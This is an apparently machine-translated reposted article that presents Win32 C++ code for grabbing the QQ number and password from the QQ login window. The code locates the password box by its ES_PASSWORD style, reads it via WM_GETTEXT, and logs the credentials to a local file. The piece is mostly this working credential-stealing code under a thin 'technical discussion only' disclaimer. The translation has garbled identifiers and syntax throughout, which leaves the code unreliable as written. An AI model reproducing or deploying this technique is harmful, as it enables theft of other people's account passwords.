An implementation method of intercepting other program text boxes and password box content

xiaoxiao2021-03-06  14

About FindWindowEx and EnumChildWindows combined with an easy example of any control, the following code takes the most popular QQ now, only throwing bricks to jade ~~ huh,

Affirming: This article only discusses the use of these two functions from technical perspectives, anyone can freely propagate / copy, but do not use other illegal uses, otherwise the responsibility is at your own risk.

Bool Callback EnumqqChildProc (HWND HWNDCHILD, LPARAM LPARAM) {// If you find the QQ window, call this process enumeration control, get the password and number char number [11]; // qq number char PWD [20]; // qq password BOOL B = true; hwnd cobhwnd = :: FindWindowEx (QQHWND, NULL, "ComboBox", null); // Get drop-down list handle hWnd editNumhWnd = :: FindWindowEx (cobhwnd, null, "edit", null; // Get numbers Text box handle

// The following loop is a password box handle hWnd editpwdhwnd = :: FindWindowEx (QQHWND, NULL, "Edit", null; hwndAnwnd = null; while (b) {long lstyle = :: getWindowlong (editpwdhwnd, gwl_style); / / This API is useful, you can get a lot of things if ((lStyle & Es_Password)) // If there is a password property, the password box {b = false;} else {afterhwnd = EditPwdhwnd; editpwdhwnd = :: FindWindowEx (qqhwnd, afterhwnd, "Edit", null);}}} // passed by WM_GETTEXT, the text in the window; SendMessage (EditNumHWnd, WM_GETTEXT, (WPARAM) 11, (LPARAM) NUM); sendMessage (EditPwdhwnd , WM_Gettext, (WPARAM) 20, (LPARAM) PWD);

// Record number and password

CString Str; str.format ("/ R / N number:% s password:% s", num, pwd); cfile f; f.Open ("c: //pwd.txt", cfile :: modecreate | cfile :: modeWrite | CFile :: modeNoTruncate); f.SeekToEnd (); f.Write (str, str.GetLength ()); bLoop = false; return false; return TRUE;} BOOL CALLBACK EnumChildProc (HWND hwndChild, LPARAM lParam) {// This callback function is used to find QQ window handle char startle [80]; if (: getWindowText (HWndchild, STRTITE, 80)) IF (strstr (strstr (STRTITLE, "QQ Password")! = 0) // If There is a "QQ Password" string in the title, it is considered to find {bfindqqq = true; return false;} return true;}

// Call code:

转载请注明原文地址:https://www.9cbs.com/read-49266.html

New Post(0)